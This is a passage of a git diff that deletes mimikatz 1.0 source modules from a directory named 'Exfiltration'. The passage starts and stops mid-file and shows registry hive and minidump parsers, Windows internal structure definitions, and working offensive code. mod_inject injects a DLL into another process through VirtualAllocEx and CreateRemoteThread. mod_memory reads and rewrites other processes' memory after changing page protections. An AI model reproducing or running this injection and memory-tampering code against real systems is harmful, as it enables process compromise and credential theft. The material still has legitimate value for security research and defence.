nk_hdr(); - char *t, *tpath; - unsigned long noff = 0; - - read_nk(n, h, 0x1020); - - if(n->id == NK_ID && n->type == NK_ROOT) - { - tpath = strdup(path->c_str()); - t = strtok(tpath, "\\"); - - if(!memcmp(t, n->key_name, n->name_len)) - { - t = strtok(NULL, "\\"); - while(t != NULL) - { - noff = parself(h, t, n->lf_off + 0x1000); - if(noff != -1) - { - read_nk(n, h, noff + 0x1000); - t = strtok( NULL, "\\" ); - } - else - { - break; - } - } - - if(t == NULL && noff != 1) - { - memcpy(*nr, n, sizeof(nk_hdr)); - reussite = true; - } - } - free(tpath); - } - - delete n; - return reussite; -} - -bool mod_hive::RegQueryValue(hive *h, string *name, nk_hdr *nr, unsigned char **buff, int *len ) -{ - bool reussite = false; - - vk_hdr *v = new vk_hdr(); - int * l = new int[nr->value_cnt]; - - read_valuevector(l, h, nr->value_off + 0x1000, nr->value_cnt); - - for(unsigned int i = 0; i < nr->value_cnt; i++) - { - read_vk(v, h, l[i] + 0x1000); - if((!memcmp(name->c_str(), v->value_name, name->size()) && v->name_len == name->size()) || (name == NULL && (v->flag & 1) == 0)) - { - *len = v->data_len & 0x0000FFFF; - *buff = new unsigned char[*len]; - if (*len < 5) - { - memcpy(*buff, &(v->data_off), *len); - } - else - { - memcpy(*buff, read_data(h, v->data_off + 0x1000), *len); - } - reussite = true; - break; - } - } - delete[] l; - delete v; - return reussite; -} - -bool mod_hive::RegOpenKeyQueryValue(hive *h, string *path, string *name, unsigned char **buff, int *len) -{ - bool reussite = false; - mod_hive::nk_hdr * nodeKey = new mod_hive::nk_hdr(); - if(mod_hive::RegOpenKey(h, path, &nodeKey)) - { - reussite = mod_hive::RegQueryValue(h, name, nodeKey, buff, len); - } - delete nodeKey; - return reussite; -} - - - -bool mod_hive::RegEnumKey(hive *h, nk_hdr *nr, vector * names) -{ - int index = 0; - - lf_hdr *lf = new lf_hdr(); - nk_hdr *nk = new nk_hdr(); - hashrecord *hr = new hashrecord(); - - while(index < nr->subkey_num) - { - lf = read_lf(lf, h, nr->lf_off + 0x1000 ); - hr = read_hr(hr, lf->hr, index); - nk = read_nk(nk, h, hr->nk_offset + 0x1000 ); - names->push_back(string(reinterpret_cast(nk->key_name), nk->name_len)); - index++; - } - - delete lf, nk, hr; - return !names->empty(); -} diff --git a/Exfiltration/mimikatz-1.0/modules/mod_hive.h b/Exfiltration/mimikatz-1.0/modules/mod_hive.h deleted file mode 100644 index 527a154b..00000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_hive.h +++ /dev/null @@ -1,88 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -using namespace std; - -#define NK_ID 0x6B6E -#define NK_ROOT 0x2c -#define LF_ID 0x666C - -class mod_hive -{ -public: - typedef struct _hive - { - unsigned char *base; - } hive; - - typedef struct _nk_hdr - { - short int id; - short int type; - int t1, t2; - int unk1; - int parent_off; - int subkey_num; - int unk2; - int lf_off; - int unk3; - /* unsigned */ - unsigned int value_cnt; - int value_off; - int sk_off; - int classname_off; - int unk4[4]; - int unk5; - short int name_len; - short int classname_len; - unsigned char *key_name; - } nk_hdr; - - typedef struct _hashrecord - { - int nk_offset; - char keyname[4]; - } hashrecord; - - typedef struct _lf_hdr - { - short int id; - short int key_num; - unsigned char *hr; - } lf_hdr; - - typedef struct _vk_hdr - { - short int id; - short int name_len; - int data_len; - int data_off; - int data_type; - short int flag; - short int unk1; - unsigned char *value_name; - } vk_hdr; - - static bool InitHive(hive *h); - static bool RegOpenHive(const wchar_t * filename, hive *h); - static bool RegCloseHive(hive *h); - static bool RegGetRootKey(hive *h, string *root_key); - static bool RegOpenKey(hive *h, string *path, nk_hdr **nr); - static bool RegQueryValue(hive *h, /*char *name*/ string *name, nk_hdr *nr, unsigned char **buff, int *len); - static bool RegOpenKeyQueryValue(hive *h, string *path, string *name, unsigned char **buff, int *len); - static bool RegEnumKey(hive *h, nk_hdr *nr, vector * names); - - static long parself(hive *h, char *t, unsigned long off); - static unsigned char* read_data(hive *h, int offset); -private: - static nk_hdr* read_nk(nk_hdr *nk, hive *h, int offset); - static lf_hdr* read_lf(lf_hdr *lf, hive *h, int offset); - static vk_hdr* read_vk(vk_hdr *vk, hive *h, int offset); - static hashrecord* read_hr(hashrecord *hr, unsigned char *pos, int index); - static int* read_valuevector(int *value, hive *h, int offset, int size); - -}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_inject.cpp b/Exfiltration/mimikatz-1.0/modules/mod_inject.cpp deleted file mode 100644 index 2547a2d5..00000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_inject.cpp +++ /dev/null @@ -1,72 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_inject.h" - -bool mod_inject::injectLibraryInHandle(const HANDLE & handleProcess, wstring * fullLibraryPath) -{ - bool reussite = false; - - wstring maLibComplete = L""; - if(mod_system::getAbsolutePathOf(*fullLibraryPath, &maLibComplete)) - { - bool fileExist = false; - if(mod_system::isFileExist(maLibComplete, &fileExist) && fileExist) - { - SIZE_T szFullLibraryPath = static_cast((maLibComplete.size() + 1) * sizeof(wchar_t)); - - if(LPVOID remoteVm = VirtualAllocEx(handleProcess, NULL, szFullLibraryPath, MEM_COMMIT, PAGE_EXECUTE_READWRITE)) - { - if(mod_memory::writeMemory(remoteVm, maLibComplete.c_str(), szFullLibraryPath, handleProcess)) - { - PTHREAD_START_ROUTINE pThreadStart = reinterpret_cast(GetProcAddress(GetModuleHandle(L"kernel32"), "LoadLibraryW")); - HANDLE hRemoteThread = INVALID_HANDLE_VALUE; - - if(mod_system::GLOB_Version.dwMajorVersion > 5) - { - PRTL_CREATE_USER_THREAD RtlCreateUserThread = reinterpret_cast(GetProcAddress(GetModuleHandle(L"ntdll"), "RtlCreateUserThread")); - SetLastError(RtlCreateUserThread(handleProcess, NULL, 0, 0, 0, 0, pThreadStart, remoteVm, &hRemoteThread, NULL)); - } - else - { - hRemoteThread = CreateRemoteThread(handleProcess, NULL, 0, pThreadStart, remoteVm, 0, NULL); - } - - if(hRemoteThread && hRemoteThread != INVALID_HANDLE_VALUE) - { - WaitForSingleObject(hRemoteThread, INFINITE); - reussite = true; - CloseHandle(hRemoteThread); - } - } - VirtualFreeEx(handleProcess, remoteVm, 0, MEM_RELEASE); - } - } - } - return reussite; -} - -bool mod_inject::injectLibraryInPid(const DWORD & pid, wstring * fullLibraryPath) -{ - bool reussite = false; - if(HANDLE processHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, pid)) - { - reussite = injectLibraryInHandle(processHandle, fullLibraryPath); - CloseHandle(processHandle); - } - return reussite; -} - -bool mod_inject::injectLibraryInSingleProcess(wstring & processName, wstring * fullLibraryPath) -{ - bool reussite = false; - - mod_process::KIWI_PROCESSENTRY32 monProcess; - if(mod_process::getUniqueForName(&monProcess, &processName)) - { - reussite = injectLibraryInPid(monProcess.th32ProcessID, fullLibraryPath); - } - return reussite; -} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_inject.h b/Exfiltration/mimikatz-1.0/modules/mod_inject.h deleted file mode 100644 index a0f77d8d..00000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_inject.h +++ /dev/null @@ -1,19 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include "mod_memory.h" -#include "mod_system.h" -#include "mod_process.h" - -class mod_inject -{ -public: - static bool injectLibraryInHandle(const HANDLE & handleProcess, wstring * fullLibraryPath); - static bool injectLibraryInPid(const DWORD & pid, wstring * fullLibraryPath); - static bool injectLibraryInSingleProcess(wstring & processName, wstring * fullLibraryPath); -}; - diff --git a/Exfiltration/mimikatz-1.0/modules/mod_memory.cpp b/Exfiltration/mimikatz-1.0/modules/mod_memory.cpp deleted file mode 100644 index 1e2ba8e8..00000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_memory.cpp +++ /dev/null @@ -1,140 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_memory.h" - -bool mod_memory::readMemory(const void * adresseBase, void * adresseDestination, size_t longueur, HANDLE handleProcess) -{ - if(handleProcess == INVALID_HANDLE_VALUE) - { - return (memcpy_s(adresseDestination, longueur, adresseBase, longueur) == 0); - } - else - { - SIZE_T dwBytesRead = 0; - return ((ReadProcessMemory(handleProcess, adresseBase, adresseDestination, longueur, &dwBytesRead) != 0) && (dwBytesRead == longueur)); - } -} - -bool mod_memory::writeMemory(void * adresseBase, const void * adresseSource, size_t longueur, HANDLE handleProcess) -{ - bool reussite = false; - DWORD OldProtect, OldProtect2; - - if(handleProcess == INVALID_HANDLE_VALUE) - { - if(VirtualProtect(adresseBase, longueur, PAGE_EXECUTE_READWRITE, &OldProtect) != 0) - { - reussite = (memcpy_s(adresseBase, longueur, adresseSource, longueur) == 0); - VirtualProtect(adresseBase, longueur, OldProtect, &OldProtect2); - } - } - else - { - if(VirtualProtectEx(handleProcess, adresseBase, longueur, PAGE_EXECUTE_READWRITE, &OldProtect) != 0) - { - SIZE_T dwBytesWrite = 0; - reussite = ((WriteProcessMemory(handleProcess, adresseBase, adresseSource, longueur, &dwBytesWrite) != 0) && (dwBytesWrite == longueur)); - VirtualProtectEx(handleProcess, adresseBase, longueur, OldProtect, &OldProtect2); - } - } - - return reussite; -} - - -bool mod_memory::searchMemory(const PBYTE adresseBase, const PBYTE adresseMaxMin, const PBYTE pattern, PBYTE * addressePattern, size_t longueur, bool enAvant, HANDLE handleProcess) -{ - BYTE * monTab = new BYTE[longueur]; - *addressePattern = adresseBase; - bool succesLecture = true; - bool succesPattern = false; - - while((!adresseMaxMin || (enAvant ? (*addressePattern + longueur) <= adresseMaxMin : (*addressePattern - longueur) >= adresseMaxMin)) && succesLecture && !succesPattern) - { - if(succesLecture = readMemory(*addressePattern, monTab, longueur, handleProcess)) - { - if(!(succesPattern = (memcmp(monTab, pattern, longueur) == 0))) - { - *addressePattern += (enAvant ? 1 : -1); - } - } - } - delete[] monTab; - - if(!succesPattern) - *addressePattern = NULL; - - return succesPattern; -} - -bool mod_memory::searchMemory(const PBYTE adresseBase, const long offsetMaxMin, const PBYTE pattern, long * offsetPattern, size_t longueur, bool enAvant, HANDLE handleProcess) -{ - PBYTE addressePattern = NULL; - bool resultat = mod_memory::searchMemory(adresseBase, (offsetMaxMin != 0 ? (adresseBase + offsetMaxMin) : NULL), pattern, &addressePattern, longueur, enAvant, handleProcess); - *offsetPattern = addressePattern - adresseBase; - return resultat; -} - -bool mod_memory::genericPatternSearch(PBYTE * thePtr, wchar_t * moduleName, BYTE pattern[], ULONG taillePattern, LONG offSetToPtr, char * startFunc, bool enAvant, bool noPtr) -{ - bool resultat = false; - if(thePtr && pattern && taillePattern) - { - if(HMODULE monModule = GetModuleHandle(moduleName)) - { - MODULEINFO mesInfos; - if(GetModuleInformation(GetCurrentProcess(), monModule, &mesInfos, sizeof(MODULEINFO))) - { - PBYTE addrMonModule = reinterpret_cast(mesInfos.lpBaseOfDll); - - if(PBYTE addrDebut = startFunc ? reinterpret_cast(GetProcAddress(monModule, startFunc)) : addrMonModule) - { - if(resultat = mod_memory::searchMemory(addrDebut, enAvant ? (addrMonModule + mesInfos.SizeOfImage) : reinterpret_cast(mesInfos.lpBaseOfDll), pattern, thePtr, taillePattern, enAvant)) - { - *thePtr += offSetToPtr; - if(!noPtr) - { -#ifdef _M_X64 - *thePtr += sizeof(long) + *reinterpret_cast(*thePtr); -#elif defined _M_IX86 - *thePtr = *reinterpret_cast(*thePtr); -#endif - } - } - else *thePtr = NULL; - } - } - } - } - return resultat; -} - -/*bool mod_memory::WhereIsMyFuckingRelativePattern(const PBYTE adresseBase, const PBYTE addrPattern, const PBYTE maskPattern, PBYTE *addressePattern, size_t longueurMask, const long offsetAddrInMask, const long offset) // et merde je la documente pas celle l ! -{ - PBYTE autreAddr = adresseBase; - PBYTE monMask = new BYTE[longueurMask]; - PBYTE monTab = new BYTE[longueurMask]; - - RtlCopyMemory(monMask, maskPattern, longueurMask); - bool succesLecture = false, succesPattern = false; - do - { - PBYTE funkyDiff = reinterpret_cast(addrPattern - (autreAddr + offsetAddrInMask + 4)); - RtlCopyMemory(monMask+offsetAddrInMask, reinterpret_cast(&funkyDiff), 4); - succesLecture = readMemory(autreAddr, monTab, longueurMask); - succesPattern = memcmp(monTab, monMask, longueurMask) == 0; - autreAddr+=offset; - } while(!succesPattern && succesLecture); - - delete[] monMask; - - if(succesPattern && succesLecture) - { - *addressePattern = autreAddr-offset; - return true; - } - else return false; -}*/ diff --git a/Exfiltration/mimikatz-1.0/modules/mod_memory.h b/Exfiltration/mimikatz-1.0/modules/mod_memory.h deleted file mode 100644 index 31eb27fe..00000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_memory.h +++ /dev/null @@ -1,22 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include - -class mod_memory -{ -public: - static bool readMemory(const void * adresseBase, void * adresseDestination, size_t longueur = 1, HANDLE handleProcess = INVALID_HANDLE_VALUE); - static bool writeMemory(void * adresseBase, const void * adresseSource, size_t longueur = 1, HANDLE handleProcess = INVALID_HANDLE_VALUE); - - static bool searchMemory(const PBYTE adresseBase, const PBYTE adresseMaxMin, const PBYTE pattern, PBYTE * addressePattern, size_t longueur = 1, bool enAvant = true, HANDLE handleProcess = INVALID_HANDLE_VALUE); - static bool searchMemory(const PBYTE adresseBase, const long offsetMaxMin, const PBYTE pattern, long * offsetPattern, size_t longueur = 1, bool enAvant = true, HANDLE handleProcess = INVALID_HANDLE_VALUE); - - static bool genericPatternSearch(PBYTE * thePtr, wchar_t * moduleName, BYTE pattern[], ULONG taillePattern, LONG offSetToPtr, char * startFunc = NULL, bool enAvant = true, bool noPtr = false); - - /*static bool WhereIsMyFuckingRelativePattern(const PBYTE adresseBase, const PBYTE addrPattern, const PBYTE maskPattern, PBYTE *addressePattern, size_t longueurMask, const long offsetAddrInMask, const long offset = 1); // et merde je la documente pas celle l !*/ -}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_minidump.cpp b/Exfiltration/mimikatz-1.0/modules/mod_minidump.cpp deleted file mode 100644 index 2825451b..00000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_minidump.cpp +++ /dev/null @@ -1,163 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_minidump.h" - -mod_minidump::mod_minidump() : monFichier(NULL), monFileMapping(NULL), mesDonnees(NULL) -{ -} - -mod_minidump::~mod_minidump(void) -{ - if(mesDonnees) - UnmapViewOfFile(mesDonnees); - - if(monFileMapping) - CloseHandle(monFileMapping); - - if(monFichier) - CloseHandle(monFichier); -} - -LPVOID mod_minidump::RVAtoPTR(RVA monRVA) -{ - return reinterpret_cast(mesDonnees) + monRVA; -} - -bool mod_minidump::open(wchar_t * filename) -{ - bool resultat = false; - - if(monFichier = CreateFile(filename, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL)) - if(monFileMapping = CreateFileMapping(monFichier, NULL, PAGE_READONLY, 0, 0, NULL)) - if(mesDonnees = MapViewOfFile(monFileMapping, FILE_MAP_READ, 0, 0, 0)) - resultat = (reinterpret_cast(mesDonnees)->Signature == MINIDUMP_SIGNATURE) && (static_cast(reinterpret_cast(mesDonnees)->Version) == MINIDUMP_VERSION); - - return resultat; -} - -MINIDUMP_TYPE mod_minidump::getFlags() -{ - return static_cast(reinterpret_cast(mesDonnees)->Flags); -} - -const wchar_t *FlagsString[] = { - L"MiniDumpNormal", - L"MiniDumpWithDataSegs", - L"MiniDumpWithFullMemory", - L"MiniDumpWithHandleData", - L"MiniDumpFilterMemory", - L"MiniDumpScanMemory", - L"MiniDumpWithUnloadedModules", - L"MiniDumpWithIndirectlyReferencedMemory", - L"MiniDumpFilterModulePaths", - L"MiniDumpWithProcessThreadData", - L"MiniDumpWithPrivateReadWriteMemory", - L"MiniDumpWithoutOptionalData", - L"MiniDumpWithFullMemoryInfo", - L"MiniDumpWithThreadInfo", - L"MiniDumpWithCodeSegs", - L"MiniDumpWithoutAuxiliaryState", - L"MiniDumpWithFullAuxiliaryState", - L"MiniDumpWithPrivateWriteCopyMemory", - L"MiniDumpIgnoreInaccessibleMemory", - L"MiniDumpWithTokenInformation" -}; - -bool mod_minidump::FlagsToStrings(vector * monVecteur) -{ - return FlagsToStrings(getFlags(), monVecteur); -} - -bool mod_minidump::FlagsToStrings(MINIDUMP_TYPE Flags, vector * monVecteur) -{ - bool resultat = false; - - if(!Flags) - { - monVecteur->push_back(FlagsString[0]); - resultat = true; - } - else if(Flags & MiniDumpValidTypeFlags) - { - DWORD shift, i; - for(shift = MiniDumpWithDataSegs, i = 1; shift <= MiniDumpWithTokenInformation; shift<<=1, i++) - { - if((Flags & shift) == shift) - monVecteur->push_back(FlagsString[i]); - } - resultat = true; - } - - return resultat; -} - -LPVOID mod_minidump::getStream(MINIDUMP_STREAM_TYPE type) -{ - PMINIDUMP_DIRECTORY mesRepertoires = reinterpret_cast(RVAtoPTR(reinterpret_cast(mesDonnees)->StreamDirectoryRva)); - for(DWORD i = 0; i < reinterpret_cast(mesDonnees)->NumberOfStreams; i++) - { - if(mesRepertoires[i].StreamType == type) - return RVAtoPTR(mesRepertoires[i].Location.Rva); - } - return NULL; -} - -PMINIDUMP_MODULE mod_minidump::getMinidumpModule(wstring & nomModule) -{ - if(PMINIDUMP_MODULE_LIST monObject = reinterpret_cast(getStream(ModuleListStream))) - { - for(DWORD i = 0; i < monObject->NumberOfModules; i++) - { - PMINIDUMP_MODULE monModule = &monObject->Modules[i]; - PMINIDUMP_STRING monModuleString = reinterpret_cast(RVAtoPTR(monObject->Modules[i].ModuleNameRva)); - if(mod_text::wstr_ends_with(monModuleString->Buffer, monModuleString->Length / sizeof(wchar_t), nomModule.c_str(), nomModule.size())) - return monModule; - } - } - return NULL; -} - -bool mod_minidump::getStreamsVector(vector * monVecteur) -{ - PMINIDUMP_DIRECTORY mesRepertoires = reinterpret_cast(RVAtoPTR(reinterpret_cast(mesDonnees)->StreamDirectoryRva)); - for(DWORD i = 0; i < reinterpret_cast(mesDonnees)->NumberOfStreams; monVecteur->push_back(&mesRepertoires[i++])); - return true; -} - -const wchar_t *StreamTypeString[] = { - L"UnusedStream", - L"ReservedStream0", - L"ReservedStream1", - L"ThreadListStream", - L"ModuleListStream", - L"MemoryListStream", - L"ExceptionStream", - L"SystemInfoStream", - L"ThreadExListStream", - L"Memory64ListStream", - L"CommentStreamA", - L"CommentStreamW", - L"HandleDataStream", - L"FunctionTableStream", - L"UnloadedModuleListStream", - L"MiscInfoStream", - L"MemoryInfoListStream", - L"ThreadInfoListStream", - L"HandleOperationListStream", - L"TokenStream" -}; - -wstring mod_minidump::StreamTypeToString(MINIDUMP_STREAM_TYPE monType) -{ - if(monType <= TokenStream) - return StreamTypeString[monType]; - else - { - wostringstream monStream; - monStream << L"Inconnu (" << monType << L")"; - return monStream.str(); - } -} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_minidump.h b/Exfiltration/mimikatz-1.0/modules/mod_minidump.h deleted file mode 100644 index 4247ab01..00000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_minidump.h +++ /dev/null @@ -1,33 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include -#include "mod_text.h" - -class mod_minidump -{ -private: - HANDLE monFichier, monFileMapping; - LPVOID mesDonnees; - -public: - mod_minidump(); - virtual ~mod_minidump(void); - - LPVOID RVAtoPTR(RVA monRVA); - bool open(wchar_t * filename); - LPVOID getStream(MINIDUMP_STREAM_TYPE type); - - PMINIDUMP_MODULE getMinidumpModule(wstring & nomModule); - bool getStreamsVector(vector * monVecteur); - MINIDUMP_TYPE getFlags(); - bool FlagsToStrings(vector * monVecteur); - - - static wstring StreamTypeToString(MINIDUMP_STREAM_TYPE monType); - static bool FlagsToStrings(MINIDUMP_TYPE Flags, vector * monVecteur); -}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_ntddk.h b/Exfiltration/mimikatz-1.0/modules/mod_ntddk.h deleted file mode 100644 index 7188f2d9..00000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_ntddk.h +++ /dev/null @@ -1,322 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include -#include - -typedef LONG KPRIORITY; -typedef void** PPVOID; - -typedef enum _SYSTEM_INFORMATION_CLASS { - SystemBasicInformation, - SystemProcessorInformation, - SystemPerformanceInformation, - SystemTimeOfDayInformation, - SystemPathInformation, - SystemProcessInformation, - SystemCallCountInformation, - SystemDeviceInformation, - SystemProcessorPerformanceInformation, - SystemFlagsInformation, - SystemCallTimeInformation, - SystemModuleInformation, - SystemLocksInformation, - SystemStackTraceInformation, - SystemPagedPoolInformation, - SystemNonPagedPoolInformation, - SystemHandleInformation, - SystemObjectInformation, - SystemPageFileInformation, - SystemVdmInstemulInformation, - SystemVdmBopInformation, - SystemFileCacheInformation, - SystemPoolTagInformation, - SystemInterruptInformation, - SystemDpcBehaviorInformation, - SystemFullMemoryInformation, - SystemLoadGdiDriverInformation, - SystemUnloadGdiDriverInformation, - SystemTimeAdjustmentInformation, - SystemSummaryMemoryInformation, - SystemNextEventIdInformation, - SystemEventIdsInformation, - SystemCrashDumpInformation, - SystemExceptionInformation, - SystemCrashDumpStateInformation, - SystemKernelDebuggerInformation, - SystemContextSwitchInformation, - SystemRegistryQuotaInformation, - SystemExtendServiceTableInformation, - SystemPrioritySeperation, - SystemPlugPlayBusInformation, - SystemDockInformation, - KIWI_SystemPowerInformation, - SystemProcessorSpeedInformation, - SystemCurrentTimeZoneInformation, - SystemLookasideInformation, - KIWI_SystemMmSystemRangeStart = 50 -} SYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS; - -typedef enum _OBJECT_INFORMATION_CLASS { - ObjectBasicInformation, - ObjectNameInformation, - ObjectTypeInformation, - ObjectAllInformation, - ObjectDataInformation -} OBJECT_INFORMATION_CLASS, *POBJECT_INFORMATION_CLASS; - - -typedef enum _PROCESSINFOCLASS { - ProcessBasicInformation, - ProcessQuotaLimits, - ProcessIoCounters, - ProcessVmCounters, - ProcessTimes, - ProcessBasePriority, - ProcessRaisePriority, - ProcessDebugPort, - ProcessExceptionPort, - ProcessAccessToken, - ProcessLdtInformation, - ProcessLdtSize, - ProcessDefaultHardErrorMode, - ProcessIoPortHandlers, // Note: this is kernel mode only - ProcessPooledUsageAndLimits, - ProcessWorkingSetWatch, - ProcessUserModeIOPL, - ProcessEnableAlignmentFaultFixup, - ProcessPriorityClass, - ProcessWx86Information, - ProcessHandleCount, - ProcessAffinityMask, - ProcessPriorityBoost, - ProcessDeviceMap, - ProcessSessionInformation, - ProcessForegroundInformation, - ProcessWow64Information, - ProcessImageFileName, - ProcessLUIDDeviceMapsEnabled, - ProcessBreakOnTermination, - ProcessDebugObjectHandle, - ProcessDebugFlags, - ProcessHandleTracing, - ProcessIoPriority, - ProcessExecuteFlags, - ProcessTlsInformation, - ProcessCookie, - ProcessImageInformation, - ProcessCycleTime, - ProcessPagePriority, - ProcessInstrumentationCallback, - ProcessThreadStackAllocation, - ProcessWorkingSetWatchEx, - ProcessImageFileNameWin32, - ProcessImageFileMapping, - ProcessAffinityUpdateMode, - ProcessMemoryAllocationMode, - ProcessGroupInformation, - ProcessTokenVirtualizationEnabled, - ProcessConsoleHostProcess, - ProcessWindowInformation, - MaxProcessInfoClass // MaxProcessInfoClass should always be the last enum -} PROCESSINFOCLASS; - -typedef enum _POOL_TYPE -{ - NonPagedPool, - PagedPool, - NonPagedPoolMustSucceed, - DontUseThisType, - NonPagedPoolCacheAligned, - PagedPoolCacheAligned, - NonPagedPoolCacheAlignedMustS -} POOL_TYPE, *PPOOL_TYPE; - -typedef struct _PROCESS_SESSION_INFORMATION { - ULONG SessionId; -} PROCESS_SESSION_INFORMATION, *PPROCESS_SESSION_INFORMATION; - -typedef struct _PROCESS_ACCESS_TOKEN { - HANDLE Token; - HANDLE Thread; -} PROCESS_ACCESS_TOKEN, *PPROCESS_ACCESS_TOKEN; - -typedef struct _OBJECT_TYPE_INFORMATION -{ - UNICODE_STRING Name; - ULONG TotalNumberOfObjects; - ULONG TotalNumberOfHandles; - ULONG TotalPagedPoolUsage; - ULONG TotalNonPagedPoolUsage; - ULONG TotalNamePoolUsage; - ULONG TotalHandleTableUsage; - ULONG HighWaterNumberOfObjects; - ULONG HighWaterNumberOfHandles; - ULONG HighWaterPagedPoolUsage; - ULONG HighWaterNonPagedPoolUsage; - ULONG HighWaterNamePoolUsage; - ULONG HighWaterHandleTableUsage; - ULONG InvalidAttributes; - GENERIC_MAPPING GenericMapping; - ULONG ValidAccess; - BOOLEAN SecurityRequired; - BOOLEAN MaintainHandleCount; - USHORT MaintainTypeList; - POOL_TYPE PoolType; - ULONG PagedPoolUsage; - ULONG NonPagedPoolUsage; -} OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION; - -typedef struct _LDR_DATA_TABLE_ENTRY -{ - LIST_ENTRY InLoadOrderLinks; - LIST_ENTRY InMemoryOrderLinks; - LIST_ENTRY InInitializationOrderLinks; - PVOID DllBase; - PVOID EntryPoint; - ULONG SizeOfImage; - UNICODE_STRING FullDllName; - UNICODE_STRING BaseDllName; - ULONG Flags; - WORD LoadCount; - WORD TlsIndex; - union - { - LIST_ENTRY HashLinks; - struct - { - PVOID SectionPointer; - ULONG CheckSum; - }; - }; - union - { - ULONG TimeDateStamp; - PVOID LoadedImports; - }; - DWORD EntryPointActivationContext; //_ACTIVATION_CONTEXT * EntryPointActivationContext; - PVOID PatchInformation; - LIST_ENTRY ForwarderLinks; - LIST_ENTRY ServiceTagLinks; - LIST_ENTRY StaticLinks; -} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; - - -typedef struct _PEB_LDR_DATA { - ULONG Length; - BOOLEAN Initialized; - PVOID SsHandle; - LIST_ENTRY InLoadOrderModulevector; - LIST_ENTRY InMemoryOrderModulevector; - LIST_ENTRY InInitializationOrderModulevector; -} PEB_LDR_DATA, *PPEB_LDR_DATA; - - -typedef struct _PEB -{ - BOOLEAN InheritedAddressSpace; - BOOLEAN ReadImageFileExecOptions; - BOOLEAN BeingDebugged; - BOOLEAN Spare; - HANDLE Mutant; - PVOID ImageBaseAddress; - PPEB_LDR_DATA LoaderData; - PVOID ProcessParameters; //PRTL_USER_PROCESS_PARAMETERS ProcessParameters; - PVOID SubSystemData; - PVOID ProcessHeap; - PVOID FastPebLock; - PVOID FastPebLockRoutine; //PPEBLOCKROUTINE FastPebLockRoutine; - PVOID FastPebUnlockRoutine; //PPEBLOCKROUTINE FastPebUnlockRoutine; - ULONG EnvironmentUpdateCount; - PPVOID KernelCallbackTable; - PVOID EventLogSection; - PVOID EventLog; - DWORD Freevector; //PPEB_FREE_BLOCK Freevector; - ULONG TlsExpansionCounter; - PVOID TlsBitmap; - ULONG TlsBitmapBits[0x2]; - PVOID ReadOnlySharedMemoryBase; - PVOID ReadOnlySharedMemoryHeap; - PPVOID ReadOnlyStaticServerData; - PVOID AnsiCodePageData; - PVOID OemCodePageData; - PVOID UnicodeCaseTableData; - ULONG NumberOfProcessors; - ULONG NtGlobalFlag; - BYTE Spare2[0x4]; - LARGE_INTEGER CriticalSectionTimeout; - ULONG HeapSegmentReserve; - ULONG HeapSegmentCommit; - ULONG HeapDeCommitTotalFreeThreshold; - ULONG HeapDeCommitFreeBlockThreshold; - ULONG NumberOfHeaps; - ULONG MaximumNumberOfHeaps; - PPVOID *ProcessHeaps; - PVOID GdiSharedHandleTable; - PVOID ProcessStarterHelper; - PVOID GdiDCAttributevector; - PVOID LoaderLock; - ULONG OSMajorVersion; - ULONG OSMinorVersion; - ULONG OSBuildNumber; - ULONG OSPlatformId; - ULONG ImageSubSystem; - ULONG ImageSubSystemMajorVersion; - ULONG ImageSubSystemMinorVersion; - ULONG GdiHandleBuffer[0x22]; - ULONG PostProcessInitRoutine; - ULONG TlsExpansionBitmap; - BYTE TlsExpansionBitmapBits[0x80]; - ULONG SessionId; -} PEB, *PPEB; - -typedef struct _PROCESS_BASIC_INFORMATION { - NTSTATUS ExitStatus; - PPEB PebBaseAddress; - ULONG_PTR AffinityMask; - KPRIORITY BasePriority; - ULONG_PTR UniqueProcessId; - ULONG_PTR InheritedFromUniqueProcessId; -} PROCESS_BASIC_INFORMATION,*PPROCESS_BASIC_INFORMATION; - -typedef struct _PROCESS_EXTENDED_BASIC_INFORMATION { - SIZE_T Size; // Must be set to structure size on input - 